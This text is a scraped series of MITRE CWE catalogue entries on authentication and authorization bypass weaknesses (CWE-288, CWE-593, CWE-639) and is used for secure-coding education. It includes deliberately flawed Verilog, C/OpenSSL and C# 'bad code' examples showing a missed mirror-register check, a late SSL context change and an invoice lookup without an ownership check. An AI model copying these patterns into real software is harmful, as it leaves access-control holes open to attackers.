MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.956SFP Secondary Cluster: Channel Attack
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This can be resultant from insufficient verification.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAuthentication bypass by spoofing
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Spoofing and Identification", Page 72. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Relationship_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Relationship_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2017-05-03CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-288: Authentication Bypass Using an Alternate Path or Channel

Weakness ID: 288
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A product requires authentication, but the product has an alternate path or channel that does not require authentication.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.306Missing Authentication for Critical Function
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.425Direct Request ('Forced Browsing')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1299Missing Protection Mechanism for Alternate Hardware Interface
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.420Unprotected Alternate Channel
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Architecture and DesignThis is often seen in web applications that assume that access to a particular CGI program can only be obtained through a "front" screen, when the supporting programs are directly accessible. But this problem is not just in web apps.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

Register SECURE_ME is located at address 0xF00. A mirror of this register called COPY_OF_SECURE_ME is at location 0x800F00. The register SECURE_ME is protected from malicious agents and only allows access to select, while COPY_OF_SECURE_ME is not.

Access control is implemented using an allowlist (as indicated by acl_oh_allowlist). The identity of the initiator of the transaction is indicated by the one hot input, incoming_id. This is checked against the acl_oh_allowlist (which contains a list of initiators that are allowed to access the asset).

Though this example is shown in Verilog, it will apply to VHDL as well.

(informative)
Example Language: Verilog 
module foo_bar(data_out, data_in, incoming_id, address, clk, rst_n);
output [31:0] data_out;
input [31:0] data_in, incoming_id, address;
input clk, rst_n;
wire write_auth, addr_auth;
reg [31:0] data_out, acl_oh_allowlist, q;
assign write_auth = | (incoming_id & acl_oh_allowlist) ? 1 : 0;
always @*
acl_oh_allowlist <= 32'h8312;
assign addr_auth = (address == 32'hF00) ? 1: 0;
always @ (posedge clk or negedge rst_n)
if (!rst_n)
begin
q <= 32'h0;
data_out <= 32'h0;
end
else
begin
q <= (addr_auth & write_auth) ? data_in: q;
data_out <= q;
end
end
endmodule
(bad code)
Example Language: Verilog 
assign addr_auth = (address == 32'hF00) ? 1: 0;

The bugged line of code is repeated in the Bad example above. Weakness arises from the fact that the SECURE_ME register can be modified by writing to the shadow register COPY_OF_SECURE_ME, the address of COPY_OF_SECURE_ME should also be included in the check. That buggy line of code should instead be replaced as shown in the Good Code Snippet below.

(good code)
Example Language: Verilog 
assign addr_auth = (address == 32'hF00 || address == 32'h800F00) ? 1: 0;
+ Observed Examples
ReferenceDescription
Router allows remote attackers to read system logs without authentication by directly connecting to the login screen and typing certain control characters.
Attackers with physical access to the machine may bypass the password prompt by pressing the ESC (Escape) key.
OS allows local attackers to bypass the password protection of idled sessions via the programmer's switch or CMD-PWR keyboard sequence, which brings up a debugger that the attacker can use to disable the lock.
Direct request of installation file allows attacker to create administrator accounts.
Attackers may gain additional privileges by directly requesting the web management URL.
Bypass authentication via direct request to named pipe.
User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing.
+ Potential Mitigations

Phase: Architecture and Design

Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.721OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.947SFP Secondary Cluster: Authentication Bypass
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1364ICS Communications: Zone Boundary Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

overlaps Unprotected Alternate Channel
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAuthentication Bypass by Alternate Path/Channel
OWASP Top Ten 2007A10CWE More SpecificFailure to Restrict URL Access
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Description, Modes_of_Introduction, Name, Relationships, Observed_Example, Relationship_Notes, Taxonomy_Mappings, Type
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-09-09Authentication Bypass by Alternate Path/Channel

CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created

Weakness ID: 593
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product modifies the SSL context after connection creation has begun.
+ Extended Description
If the program modifies the SSL_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.666Operation on Resource in Wrong Phase of Lifetime
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

No authentication takes place in this process, bypassing an assumed protection of encryption.
Confidentiality

Technical Impact: Read Application Data

The encrypted communication between a user and a trusted host may be subject to a sniffing attack.
+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language:
#define CERT "secret.pem"
#define CERT2 "secret2.pem"

int main(){
SSL_CTX *ctx;
SSL *ssl;
init_OpenSSL();
seed_prng();

ctx = SSL_CTX_new(SSLv23_method());

if (SSL_CTX_use_certificate_chain_file(ctx, CERT) != 1)
int_error("Error loading certificate from file");


if (SSL_CTX_use_PrivateKey_file(ctx, CERT, SSL_FILETYPE_PEM) != 1)
int_error("Error loading private key from file");


if (!(ssl = SSL_new(ctx)))
int_error("Error creating an SSL context");


if ( SSL_CTX_set_default_passwd_cb(ctx, "new default password" != 1))
int_error("Doing something which is dangerous to do anyways");


if (!(ssl2 = SSL_new(ctx)))
int_error("Error creating an SSL context");
}
+ Potential Mitigations

Phase: Architecture and Design

Use a language or a library that provides a cryptography framework at a higher level of abstraction.

Phase: Implementation

Most SSL_CTX functions have SSL counterparts that act on SSL-type objects.

Phase: Implementation

Applications should set up an SSL_CTX completely, before creating SSL objects from it.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.948SFP Secondary Cluster: Digital Certificate
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes
2009-07-27CWE Content TeamMITRE
updated Description, Other_Notes, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Common_Consequences, Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-639: Authorization Bypass Through User-Controlled Key

Weakness ID: 639
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
+ Extended Description

Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user-related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system.

For example, attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.

One manifestation of this weakness is when a system uses sequential or otherwise easily-guessable session IDs that would allow one user to easily switch to another user's session and read/modify their data.

+ Alternate Terms
Insecure Direct Object Reference / IDOR:
The "Insecure Direct Object Reference" term, as described in the OWASP Top Ten, is broader than this CWE because it also covers path traversal (CWE-22). Within the context of vulnerability theory, there is a similarity between the OWASP concept and CWE-706: Use of Incorrectly-Resolved Name or Reference.
Broken Object Level Authorization / BOLA:
BOLA is used in the 2019 OWASP API Security Top 10 and is said to be the same as IDOR.
Horizontal Authorization:
"Horizontal Authorization" is used to describe situations in which two users have the same privilege level, but must be prevented from accessing each other's resources. This is fairly common when using key-based access to resources in a multi-user context.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.863Incorrect Authorization
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.566Authorization Bypass Through User-Controlled SQL Primary Key
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1212Authorization Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.840Business Logic Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.863Incorrect Authorization
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

Access control checks for specific user data or functionality can be bypassed.
Access Control

Technical Impact: Gain Privileges or Assume Identity

Horizontal escalation of privilege is possible (one user can view/modify information of another user).
Access Control

Technical Impact: Gain Privileges or Assume Identity

Vertical escalation of privilege is possible if the user-controlled key is actually a flag that indicates administrator status, allowing the attacker to gain administrative access.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

(bad code)
Example Language: C# 
...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.

+ Observed Examples
ReferenceDescription
An educational application does not appropriately restrict file IDs to a particular user. The attacker can brute-force guess IDs, indicating IDOR.
+ Potential Mitigations

Phase: Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Phases: Architecture and Design; Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Phase: Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.715OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.813OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.932OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.945SFP Secondary Cluster: Insecure Resource Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1031OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-30
(CWE Draft 8, 2008-01-30)
Evgeny LebanidzeCigital
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Type
2008-10-14CWE Content TeamMITRE
updated Description
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2010-06-21CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Description, Name, Potential_Mitigations, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-02-21CWE Content TeamMITRE
updated Alternate_Terms, Common_Consequences
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Alternate_Terms
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Alternate_Terms
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Access Control Bypass Through User-Controlled Key

CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key

Weakness ID: 566
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
